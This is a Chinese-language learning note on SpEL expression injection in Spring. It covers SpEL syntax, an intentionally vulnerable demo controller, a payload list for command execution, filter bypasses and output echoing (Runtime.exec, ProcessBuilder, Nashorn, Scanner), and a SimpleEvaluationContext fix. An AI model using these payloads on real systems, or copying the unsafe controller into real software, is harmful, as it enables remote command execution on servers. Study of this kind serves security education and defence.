赶紧来补一下SPEL表达式注入,前面Thymeleaf本质用的就是SPEL表达式
简介
Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。
Demo示例
package org.clown.springbootmemoryshell.contorller.spel;
import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController;
@RestController public class SpElController { @GetMapping("/spelTest") public String catUser(String message) { ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(message); return expression.getValue().toString(); } }
|
比如我们传一个生成随机数的表达式
http://localhost:8081/spelTest?message=T(java.lang.Math).random()*100
|

下面的形式可以直接执行系统命令
http://localhost:8081/spelTest?message=new%20java.lang.ProcessBuilder(%22whoami%22).start()
|
SpEl语法
spel用#{...}
作为界定符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法
- 引用其他对象:
#{car}
- 引用其他对象的属性:
#{car.brand}
- 调用其它方法 , 还可以链式操作:
#{car.toString()}
其中属性名称引用还可以用$
符号 如:${someProperty}
这里需要注意#{}和${}的区别:
- #{}就是SpEL的定界符,用于指明内容未SpEL表达式并执行;
- ${}主要用于加载外部属性文件中的值;
- 两者可以混合使用,但是必须#{}在外面,${}在里面,如#{‘${}’},注意单引号是字符串类型才添加的;
除此以外在SpEL中,使用T()
运算符会调用类作用域的方法和常量,想使用某个类就可以像前面的demo一样
注意除了java.lang包下的类,其他类都要用全类名的形式。
各种操作符
前面我们将输入的参数直接当成SpEL表达式去执行的,所以没有输入#{}
,但是如果用@Value去获取值执行就需要了,下面是一些表达式示例:
算术运算
@Value("#{'string1'+'string2'}") private String name;
@Value("#{(2 + 2) * 2 + 9}") private double brackets;
|
关系和逻辑操作
@Value("#{1 == 1}") private boolean equal;
@Value("#{1 eq 1}") private boolean equalAlphabetic;
|
条件运算
@Value("#{2 > 1 ? 'a' : 'b'}") private String ternary;
|
使用正则表达式
matchs
运算符可用于检查字符串是否与给定的正则表达式匹配。
@Value("#{'100fghdjf' matches '\\d+' }") private boolean invalidNumericStringResult;
@Value("#{'valid alphabetic string' matches '[a-zA-Z\\s]+' }") private boolean validAlphabeticStringResult;
|
访问List和Map对象
我们可以访问上下文中任何Map或List的值
比如这里创建一个bean
@Component("workersHolder") public class WorkersHolder { private List<String> workers = new LinkedList<>(); private Map<String, Integer> salaryByWorkers = new HashMap<>();
public WorkersHolder() { workers.add("John"); workers.add("Susie"); workers.add("Alex"); workers.add("George");
salaryByWorkers.put("John", 35000); salaryByWorkers.put("Susie", 47000); salaryByWorkers.put("Alex", 12000); salaryByWorkers.put("George", 14000); }
}
|
然后访问其中的值
@Value("#{workersHolder.salaryByWorkers['John']}") private Integer johnSalary;
@Value("#{workersHolder.salaryByWorkers['George']}") private Integer georgeSalary;
@Value("#{workersHolder.salaryByWorkers['Susie']}") private Integer susieSalary;
@Value("#{workersHolder.workers[0]}") private String firstWorker;
@Value("#{workersHolder.workers[3]}") private String lastWorker;
@Value("#{workersHolder.workers.size()}") private Integer numberOfWorkers;
|
$界定符
可以访问application.properties文件的属性值

SpEl表达式注入漏洞
漏洞原理
Spring提供了两个EvaluationContext:SimpleEvaluationContext
和StandardEvaluationContext
:
- SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
- StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
然后Spring默认采用的就是StandardEvaluationContext,我们自己去调试一下就可以知道,在前面demo代码中执行getValue方法获取表达式结果返回的过程中会给context赋值,如下图

常用payload整理
${12*12} T(java.lang.Runtime).getRuntime().exec("open -na Calculator") T(Thread).sleep(10000) #this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe') new java.lang.ProcessBuilder('open -na Calculator').start()
|
回显
还学到一个利用org.apache.commons.io进行回显的操作
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream())
|
但前提是引入了commons-io的依赖
<dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.11.0</version> </dependency>
|
绕过
T(String).class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("open%20-na%20Calculator")
T(String).class.forName("java.lang.Ru"%2b"ntime").getMethod("getRu"%2b"ntime").invoke(null).exec("open%20-na%20Calculator")
T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass().getMethod("exec",T(String)).invoke(T(java.lang.Runtime).getRuntime(),"open%20-na%20Calculator")
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("java.lang.Runtime.getRuntime().exec('open -na Calculator')")
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("java.lang.Runt"%2b"ime.getRu"%2b"ntime().e"%2b"xec('open -na Calculator')")
T(java.lang.Character).toString(97).concat(T(java.lang.Character).toString(98))
|
回显问题
根据前面的demo找了几个能够将命令结果回显出来的payload
利用StreamUtils
new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()))
|

还有用BufferedReader封装
new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream())).readLine()
|
不过只能读取一行

利用Scanner
原理在于Scanner#useDelimiter
方法使用指定的字符串分割输出,就会让所有的字符都在第一行,然后执行next方法即可获得所有输出
http://localhost:8081/spelTest?message=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).useDelimiter("%5C%5CA").next()
|
通过url传输需要给\url编码一下,因为属于非法字符

useDelimiter
方法用于设置 Scanner
的分隔符。"\\A"
是一个正则表达式,表示输入流的开头。使用这个分隔符可以让 Scanner
读取整个输入流,直到结束。
防御
因为SpEL表达式注入漏洞导致攻击者可以通过表达式执行精心构造的任意代码,导致命令执行。为了防御该类漏洞,Spring官方推出了SimpleEvaluationContext
作为安全类来防御该类漏洞。
SimpleEvaluationContext
旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用;所以最直接的修复方式是使用 SimpleEvaluationContext
替换 StandardEvaluationContext
。
用法示例:
ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(message); EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(message).build(); return expression.getValue(context).toString();
|
参考
https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.java%E5%AE%89%E5%85%A8/01.%E5%AE%A1%E8%AE%A1%E5%9F%BA%E7%A1%80/10.spel%E8%A1%A8%E8%BE%BE%E5%BC%8F
https://jishu.dev/2021/05/23/spring-expression-language/
http://www.bmth666.cn/2023/04/15/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/index.html
https://dragonkeeep.top/category/SPEL/index.html